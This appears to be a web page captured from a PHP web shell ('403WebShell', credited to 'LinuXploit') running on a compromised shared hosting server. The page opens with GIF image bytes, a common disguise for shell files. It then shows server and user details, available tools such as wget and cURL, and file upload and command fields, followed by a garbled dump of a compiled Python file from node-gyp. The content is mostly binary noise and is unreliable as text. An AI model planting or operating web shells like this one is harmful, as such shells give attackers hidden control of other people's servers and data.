GIF89a=( õ' 7IAXKgNgYvYx\%wh…hŽth%ˆs%—x¨}9®Œ©€&©‰%¶†(¹–.¹5·œD¹&Çš)ÇŸ5ǘ;Í£*È¡&Õ²)ׯ7×µ<Ñ»4ï°3ø‘HÖ§KͯT÷¨Yÿšqÿ»qÿÔFØ !ù ' !ÿ NETSCAPE2.0 , =( þÀ“pH,È¤rÉl:ŸÐ¨tJ­Z¯Ø¬vËíz¿à°xL.›Ïè´zÍn»ßð¸|N¯Ûïø¼~Ïïûÿ€‚ƒ„…†‡ˆ‰Š‹ŒŽ‘’“”•–—˜™š›œžŸ ¡¢£¤¥¦§gª«ªE¯°¨¬ª±²Œ¹º¹E¾­”´ÂB¶¯ §Åȸ»ÑD¾¿Á•ÄÅ®° ÝH¾ÒLÀÆDÙ«D¶BÝïðÀ¾DÑÑÔTÌÍíH òGö¨A RÎڐ |¥ ٭&ºìE8œ¹kGÔAÞpx­a¶­ã R2XB®åE8I€Õ6Xî:vT)äžþÀq¦è³¥ì仕F~%xñ  4#ZÔ‰O|-4Bs‘X:= QÉ œš lºÒyXJŠGȦ|s hÏíK–3l7·B|¥$'7Jީܪ‰‡àá”Dæn=Pƒ ¤Òëí‰`䌨ljóá¯Éüv>á–Á¼5 ½.69ûϸd«­ºÀûnlv©‹ªîf{¬ÜãPbŸ  l5‘ޝpß ´ ˜3aÅùäI«O’ý·‘áÞ‡˜¾Æ‚ÙÏiÇÿ‹Àƒ #öó)pâš Þ½ ‘Ý{ó)vmÞü%D~ 6f s}ŃƒDØW Eþ`‡þ À…L8xá†ç˜{)x`X/> Ì}mø‚–RØ‘*|`D=‚Ø_ ^ð5 !_…'aä“OÚ—7âcð`D”Cx`ÝÂ¥ä‹éY¹—F¼¤¥Š?¡Õ™ n@`} lď’ÄÉ@4>ñd œ à‘vÒxNÃ×™@žd=ˆgsžG±æ ´²æud &p8Qñ)ˆ«lXD©øÜéAžHìySun jª×k*D¤LH] †¦§C™Jä–´Xb~ʪwStŽ6K,°£qÁœ:9ت:¨þªl¨@¡`‚ûÚ ».Û¬¯t‹ÆSÉ[:°=Š‹„‘Nåû”Ìî{¿ÂA ‡Rà›ÀÙ6úë°Ÿð0Ä_ ½;ÃϱîÉì^ÇÛÇ#Ëë¼ôº!±Ä˜íUîÅÇ;0L1óÁµö«p% AÀºU̬ݵ¼á%霼€‡¯Á~`ÏG¯»À× ­²± =4ªnpð3¾¤³¯­ü¾¦îuÙuµÙ®|%2ÊIÿür¦#0·ÔJ``8È@S@5ê¢ ö×Þ^`8EÜ]ý.뜃Âç 7 ú ȉÞj œ½Dç zý¸iþœÑÙûÄë!ˆÞÀl§Ïw‹*DçI€nEX¯¬¼ &A¬Go¼QföõFç°¯;é¦÷îŽêJ°îúôF5¡ÌQ|îúöXªæ»TÁÏyñêï]ê² o óÎC=öõ›ÒÓPB@ D×½œä(>èCÂxŽ`±«Ÿ–JЀ»Û á¤±p+eE0`ëŽ`A Ú/NE€Ø†À9‚@¤à H½7”à‡%B‰`Àl*ƒó‘–‡8 2ñ%¸ —€:Ù1Á‰E¸àux%nP1ð!‘ðC)¾P81lÑɸF#ˆ€{´âé°ÈB„0>±û °b¡Š´±O‚3È–Ù()yRpbµ¨E.Z‘D8ÊH@% òŒx+%Ù˜Æcü »¸˜fõ¬b·d`Fê™8èXH"ÉÈ-±|1Ô6iI, 2““¬$+](A*jÐ QTÂo‰.ÛU슬Œã„Ž`¯SN¡–¶Äåyše¯ª’­¬‚´b¦Éož œ)åyâ@Ì®3 ÎtT̉°&Ø+žLÀf"Ø-|žçÔ>‡Ðv¦Ðžì\‚ Q1)Ž@Žh#aP72”ˆ™¨$‚ !ù " , =( …7IAXG]KgNgYvYxR"k\%w]'}hŽth%ˆg+ˆs%—r.—m3šx3˜x¨}9®€&©€+¨‡7§‰%¶†(¹–.¹œD¹&ǘ;Í•&ײ)×»4ïÌ6ò§KÍ þ@‘pH,È¤rÉl:ŸÐ¨tJ­Z¯Ø¬vËíz¿à°xL.›Ïè´zÍn»ßð¸|N¯Ûïø¼~Ïïûÿ€‚ƒ„…†‡ˆ‰Š‹ŒŽ‘’“”•–—˜™š›œžŸ ¡¢£¤¥¦§g «¬ E ±± ¨­¶°ººE Á´”·®C¬²§Ç¶Œ»ÓDÃÕƷ¯Ê±H½ºM×ÁGÚ¬D¶BËÁ½î½DÓôTÏÛßîG»ôõC×CÌ l&âž:'òtU³6ɹ#·Ø)€'Ü.6±&ëÍÈ» K(8p0N?!æ2"ÛˆNIJX>R¼ÐO‚M '¡¨2¸*Ÿþ>#n↠å@‚<[:¡Iïf’ ¤TÚ˘CdbÜÙ“[«ŽEú5MBo¤×@€`@„€Êt W-3 ¶Ÿ¡BíêäjIÝ…Eò9[T…$íêﯧ„…•s»Óȳ¹€ÅÚdc®UUρ#±Ùïldj?´í¼²`\ŽÁðÞu|3'ÖŒ]ë6 ¶S#²‡˜FKLÈ *N E´‘áäŠ$˜›eÄYD„ºq«.è촁ƒs \-ÔjA 9²õ÷å- üúM[Âx(ís÷ì®x€|í¡Ù’p¦‚ ŽkÛTÇDpE@WÜ ²Ç]kŠ1¨ þ€·Yb ÓÁ‰l°*n0 ç™—žzBdОu¾7ĉBl€â‰-ºx~|UåU‰  h*Hœ|e"#"?vpÄiŠe6^ˆ„+qâŠm8 #VÇá ‘å–ÄV„œ|Аè•m"сœn|@›U¶ÆÎž—Špb¥G¨ED”€±Úê2FÌIç? >Éxå Œ± ¡¤„%‘žjŸ‘ꄯ<Ìaà9ijÐ2˜D¦È&›†Z`‚å]wþ¼Â:ç6àB¤7eFJ|õÒ§Õ,¨äàFÇ®cS·Ê¶+B°,‘Þ˜ºNûãØ>PADÌHD¹æž«ÄÀnÌ¥}­#Ë’ë QÀÉSÌÂÇ2ÌXÀ{æk²lQÁ2«ÊðÀ¯w|2Í h‹ÄÂG€,m¾¶ë3ÐÙ6-´ÅE¬L°ÆIij*K½ÀÇqï`DwVÍQXœÚÔpeœ±¬Ñ q˜§Tœ½µƒ°Œìu Â<¶aØ*At¯lmEØ ü ôÛN[P1ÔÛ¦­±$ÜÆ@`ùåDpy¶yXvCAyåB`ŽD¶ 0QwG#¯ æš[^Äþ $ÀÓÝǦ{„L™[±úKÄgÌ;ï£S~¹ìGX.ôgoT.»åˆ°ùŸûù¡?1zö¦Ÿž:ÅgÁ|ìL¹ „®£œŠ‚à0œ]PÁ^p F<"•ç?!,ñ‡N4—…PÄ Á„ö¨Û:Tè@hÀ‹%táÿ:ø-žI<`þ‹p I….)^ 40D#p@ƒj4–؀:²‰1Øâr˜¼F2oW¼#Z†;$Q q” ‘ ÂK¦ñNl#29 !’F@¥Bh·ᏀL!—XFóLH‘Kh¤.«hE&JòG¨¥<™WN!€ÑÙÚˆY„@†>Œž19J" 2,/ &.GXB%ÌRÈ9B6¹W]’î×ÔW¥’IÎ$ ñ‹ÓŒE8YÆ ¼³™ñA5“à®Q.aŸB€&Ø©³ JÁ—! ¦t)K%tœ-¦JF bòNMxLôþ)ÐR¸Ð™‘ èÝ6‘O!THÌ„HÛ ‰ !ù ) , =( …AXKgNgYvYxR"k\%wh…hŽh%ˆg+ˆs%—r.—x3˜x¨}9®€&©€+¨Œ,©‡7§‰%¶†(¹–.¹5·&Çš)ǘ;Í•&×£*Ȳ)ׯ7×»4ï°3øÌ6ò‘HÖ§KÍ»Hó¯T÷¨Yÿ»qÿÇhÿ þÀ”pH,È¤rÉl:ŸÐ¨tJ­Z¯Ø¬vËíz¿à°xL.›Ïè´zÍn»ßð¸|N¯Ûïø¼~Ïïûÿ€‚ƒ„…†‡ˆ‰Š‹ŒŽ‘’“”•–—˜™š›œžŸ ¡¢£¤¥¦§g ª« E$±²¨ª­ · °²½$E$ÂÕ««D· Í ¿¦Ç¶¸ÌŒ¾³CÃÅÆ E ééH½MÛÂGâªD­ çBêêϾD²ÒaÀà€Š1r­ðÓ¤ ÔožzU!L˜C'¾yW½UGtäÇïÙllê0×àÂuGþ)AÀs[þ·xì ÁxO%ƒûX2ó—  P£n›R/¡ÑšHše+êDm?# —‘Ç£6¡8íJ¡ŸâDiäªM¥Ö„ôj“¬¹£5oQ7°- <‡ *´lãÓŒ2r/a!l)dÈ A™ÈE¢ôÔ͆…ð ;Ö˜c ¡%ß‚’Ùˆâ¸b½—pe~C"BíëÚHïeF2§æŠ8qb t_`urŠeü wÅu3êæPv§h•"ß`íÍxçLĹÜÖ3á  ~Öº“®›¸ÏMDfJÙ °„ÛµáWõ%§œ‚à©–‚X ÓØ)@®Ñ›Eþ´wëuÅSxb8y\mÖzœ¥§ZbºE—ÂLªÌw!y(>¡™wú=Ç|ÅÝs¢d €CÁW)HÜcC$€L Ä7„r.á\{)@ð` @ äXÈ$PD” `šaG:§æˆOˆ72EÐamn]ù"ŒcÊxÑŒ° &dR8`g«iÙŸLR!¦P …d’ä¡“¦ðÎTƒ¦ià|À _ ¥ Qi#¦Šg›Æ ›noMµ ›V ã£)p ç£ÎW…š=Âeªk§†j„ ´®1ß²sÉxéW«jšl|0¯B0Û, \jÛ´›6±¬¶C ÛíWþï|ëÙ‹¸ñzĸV {ì;Ýñn¼òVˆm³I¼³.Ðã¤PN¥ ²µ¼„µCã+¹ÍByî£Ñ¾HŸ›ëê 7ìYÆFTk¨SaoaY$Dµœìï¿Ã29RÈkt Çïfñ ÇÒ:ÀÐSp¹3ÇI¨â¥DZÄ ü9Ïýögñ½­uÔ*3)O‘˜Ö[_hv ,àî×Et Ÿé¶BH€ Õ[ü±64M@ÔSÌM7dÐl5-ÄÙU܍´©zߌ3Ô€3ž„ „ ¶ÛPô½5×g› êÚ˜kN„Ý…0Îj4€Ìë°“#{þÕ3S2çKÜ'ợlø¼Ú2K{° {Û¶?žm𸧠ËI¼nEò='êüóºè^üæÃ_Û=°óž‚ì#Oý¿Í'¡½áo..ÏYìnüñCœO±Áa¿¢Kô½o,üÄËbö²çºíï{ËC Ú— "”Ï{ËK ÍÒw„õ±Oz dÕ¨à:$ ƒô—«v»] A#ð «€¿šéz)Rx׿ˆ¥‚d``èw-îyÏf×K!ð€þ­Ð|ìPľ„=Ì`ý(f” 'Pa ¥ÐBJa%Ðâf§„%Š¡}FàáÝ×6>ÉäŠG"éŽè=ø!oа^FP¼Ø©Q„ÀCÙÁ`(Ž\ÄÝ® ©Â$<n@dÄ E#ììUÒI! ‚#lù‹`k¦ÐÇ'Rró’ZýNBÈMF Í[¤+‹ðɈ-áwj¨¥þ8¾rá ,VÂh„"|½œ=×G_¦Ñ™EØ 0i*%̲˜Æda0mV‚k¾)›;„&6 p>ÓjK “¦Ç# âDÂ:ûc?:R Ó¬fÞéI-Ì“•Ã<ä=™Ï7˜3œ¨˜c2ŒW ,ˆ”8(T™P‰F¡Jhç"‚ ; 403WebShell
403Webshell
Server IP : 172.67.177.218  /  Your IP : 216.73.216.155
Web Server : LiteSpeed
System : Linux premium229.web-hosting.com 4.18.0-553.45.1.lve.el8.x86_64 #1 SMP Wed Mar 26 12:08:09 UTC 2025 x86_64
User : akhalid ( 749)
PHP Version : 8.3.22
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /opt/alt/alt-nodejs11/root/lib/node_modules/npm/node_modules/node-gyp/gyp/tools/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /opt/alt/alt-nodejs11/root/lib/node_modules/npm/node_modules/node-gyp/gyp/tools/pretty_vcproj.pyo
�
R�nac@sdZdZddlZddlZddlmZddlmZe�Zda
defd��YZdefd	��YZ
d
d�Zd�Zd
�Zd�Zd�Zd�Zd�Zd�Zd�Zd�Zd�Zedkr
ejeej��ndS(s�Make the format of a vcproj really pretty.

   This script normalize and sort an xml. It also fetches all the properties
   inside linked vsprops and include them explicitly in the vcproj.

   It outputs the resulting xml to stdout.
snsylvain (Nicolas Sylvain)i����N(tparse(tNodetCmpTuplecBseZdZd�ZRS(s!Compare function between 2 tuple.cCst|d|d�S(Ni(tcmp(tselftxty((sl/opt/alt/alt-nodejs11/root/usr/lib/node_modules/npm/node_modules.bundled/node-gyp/gyp/tools/pretty_vcproj.pyt__call__s(t__name__t
__module__t__doc__R(((sl/opt/alt/alt-nodejs11/root/usr/lib/node_modules/npm/node_modules.bundled/node-gyp/gyp/tools/pretty_vcproj.pyRstCmpNodecBseZdZd�ZRS(s%Compare function between 2 xml nodes.cCs"d�}t||�||��S(NcSs�d}||j7}|jr,||j7}n|jr�||jd�7}g}x0|jj�D]\}}|j||f�q^W|jt��x+|D] \}}||7}||7}q�Wn|S(NtnodetName(tnodeNamet	nodeValuet
attributestgetAttributetitemstappendtsortR(Rtnode_stringt	all_nodestnametvalue((sl/opt/alt/alt-nodejs11/root/usr/lib/node_modules/npm/node_modules.bundled/node-gyp/gyp/tools/pretty_vcproj.pyt
get_string%s
		
(R(RRRR((sl/opt/alt/alt-nodejs11/root/usr/lib/node_modules/npm/node_modules.bundled/node-gyp/gyp/tools/pretty_vcproj.pyR$s	(RR	R
R(((sl/opt/alt/alt-nodejs11/root/usr/lib/node_modules/npm/node_modules.bundled/node-gyp/gyp/tools/pretty_vcproj.pyR!sicCs�|jtjkrD|jj�r@dd||jj�fGHndS|jrZ|j�nd}|jrx|jj}n|dkr�dd||j	fGHn�dd||j	fGHg}x@|jj
�D]/\}}|j||f�|jt
��q�Wx*|D]"\}}dd|||fGHqWdd|GH|jrXdd||jfGHnx%|jD]}t|d	|d
�qbWdd||j	fGHdS(Ns%s%st is%s<%s>s%s<%ss%s  %s="%s"s%s>s%s  %stindentis%s</%s>(tnodeTypeRt	TEXT_NODEtdatatstript
childNodest	normalizeRtlengthRRRRRRtPrettyPrintNode(RRt
attr_counttall_attributesRRtsub_node((sl/opt/alt/alt-nodejs11/root/usr/lib/node_modules/npm/node_modules.bundled/node-gyp/gyp/tools/pretty_vcproj.pyR#=s0	
	
	cCsrg}|jr(|jd�dkr(gSxC|jD]8}|jdkr]|jt|��q2|j|�q2W|S(s-Returns a list of all the node and sub nodes.R
t_excluded_filestFilter(RRR Rtextendt
FlattenFilterR(Rt	node_listtcurrent((sl/opt/alt/alt-nodejs11/root/usr/lib/node_modules/npm/node_modules.bundled/node-gyp/gyp/tools/pretty_vcproj.pyR*_s	cCs�g}x�|D]�}|r
x$tD]}|j|t|�}q Wtj|�|jd�}|jd�r{|j|�q�|jtjj|��q
q
W|S(Ns"' t$(	tREPLACEMENTStreplacetostchdirRt
startswithRtpathtabspath(t	filenamestcurrent_directorytnew_listtfilenametkey((sl/opt/alt/alt-nodejs11/root/usr/lib/node_modules/npm/node_modules.bundled/node-gyp/gyp/tools/pretty_vcproj.pytFixFilenamesqs


 cCs�|jr�x�|jj�D]x\}}|d
kr{|jd�}t|tjjtd��}|j|dj	|��n|s|j
|�qqWnd	S(s=Makes all the properties we know about in this node absolute.tInheritedPropertySheetstRelativePathtAdditionalIncludeDirectoriestIntermediateDirectorytOutputDirectorytAdditionalLibraryDirectoriest;iN(R;R<R=R>R?R@(RRtsplitR:R0R3tdirnamet	ARGUMENTStsetAttributetjointremoveAttribute(RRRt	path_listR7((sl/opt/alt/alt-nodejs11/root/usr/lib/node_modules/npm/node_modules.bundled/node-gyp/gyp/tools/pretty_vcproj.pytAbsoluteNode�s		c
Cs8x%|jD]}t|�t|�q
Wxh|jD]]}|jtjkr2|jjdd�|_|jjdd�|_|jj�|_q2q2W|j	r9x�|j	j
�D]�\}}t|jd��}g}x-|D]%}|j
|�s�|j|�q�q�W|j|dj|��|s�|j|�q�q�Wn|jrO|j�ng}xf|jr�|jdr�|jd}|j|�|jdkr�|jt|��qX|j|�qXW|jt��xc|D][}	|	jdkr|	j	r|	j	jdkrq�qn|	jd	kr#q�n|j|	�q�Wd
S(s5For each sub node, we call recursively this function.s
ts
RAiR(tToolit	UserMacroN(R RIt
CleanupVcprojRRRRR/trstripRRtsortedRBtcountRRERFRGR!tremoveChildRR)R*RRR"tappendChild(
RR&RRtsorted_listtunique_listtit
node_arrayR,tnew_node((sl/opt/alt/alt-nodejs11/root/usr/lib/node_modules/npm/node_modules.bundled/node-gyp/gyp/tools/pretty_vcproj.pyRM�sF
	
	



	cCscg}xV|jD]K}|jdkrx3|jD]%}|jdkr/|j|�q/q/WqqW|S(NtConfigurationst
Configuration(R RR(tvcprojtnodesRR&((sl/opt/alt/alt-nodejs11/root/usr/lib/node_modules/npm/node_modules.bundled/node-gyp/gyp/tools/pretty_vcproj.pytGetConfiguationNodes�scCsPt|�}|jjrL|jjd�}t|jd�tjj|��SgS(NR;RA(	RtdocumentElementRRR:RBR0R3RC(R8tdomtvsprops((sl/opt/alt/alt-nodejs11/root/usr/lib/node_modules/npm/node_modules.bundled/node-gyp/gyp/tools/pretty_vcproj.pytGetChildrenVsprops�s
"cCs{|jtjkrdS|jd�}|s/dSxE|jD]:}|j|jkr9|jd�}||krs|Sq9q9WdS(NR
(RRRtNoneRR R(tnode1tchild2tcurrent_nameR&R((sl/opt/alt/alt-nodejs11/root/usr/lib/node_modules/npm/node_modules.bundled/node-gyp/gyp/tools/pretty_vcproj.pyt
SeekToNode�scCs�|js
dSx�|jj�D]�\}}|dkr;qn|j|�}|r�||kr�|j|dj||g��q�n|j||�|dkr|j|�qqWdS(NR
RAR;(RRRRERFRG(Rbtnode2Rtvalue2tvalue1((sl/opt/alt/alt-nodejs11/root/usr/lib/node_modules/npm/node_modules.bundled/node-gyp/gyp/tools/pretty_vcproj.pytMergeAttributes�s	%cCs`t||�xL|jD]A}t||�}|rBt||�q|j|jt��qWdS(N(RiR RetMergePropertiesRRt	cloneNodetTrue(RbRfRctchild1((sl/opt/alt/alt-nodejs11/root/usr/lib/node_modules/npm/node_modules.bundled/node-gyp/gyp/tools/pretty_vcproj.pyRj
s
c	Cs<|at|�dkr)d|dGHdSx@tdt|��D])}||jd�\}}|t|<q?Wt|d�}x�t|j�D]�}|jd�}t	|j
�jd�tjj
|d��}x!|D]}|jt|��q�Wx$|D]}t|t|�j�q�Wq�Wt|j�t|j�dS(s(Main function of this vcproj prettifier.is@Usage: %s "c:\path\to\vcproj.vcproj" [key1=value1] [key2=value2]iit=R;RA(RDtlentrangeRBR.RR\R]RR:RR0R3RCR)R`RjRMR#(	targvRUR9RR^tconfiguration_nodeR_tvsprops_listtcurrent_vsprops((sl/opt/alt/alt-nodejs11/root/usr/lib/node_modules/npm/node_modules.bundled/node-gyp/gyp/tools/pretty_vcproj.pytmains*




t__main__(R
t
__author__R0tsystxml.dom.minidomRRtdictR.RaRDtobjectRRR#R*R:RIRMR\R`ReRiRjRuRtexitRq(((sl/opt/alt/alt-nodejs11/root/usr/lib/node_modules/npm/node_modules.bundled/node-gyp/gyp/tools/pretty_vcproj.pyt<module>
s,	"				;					
	1

Youez - 2016 - github.com/yon3zu
LinuXploit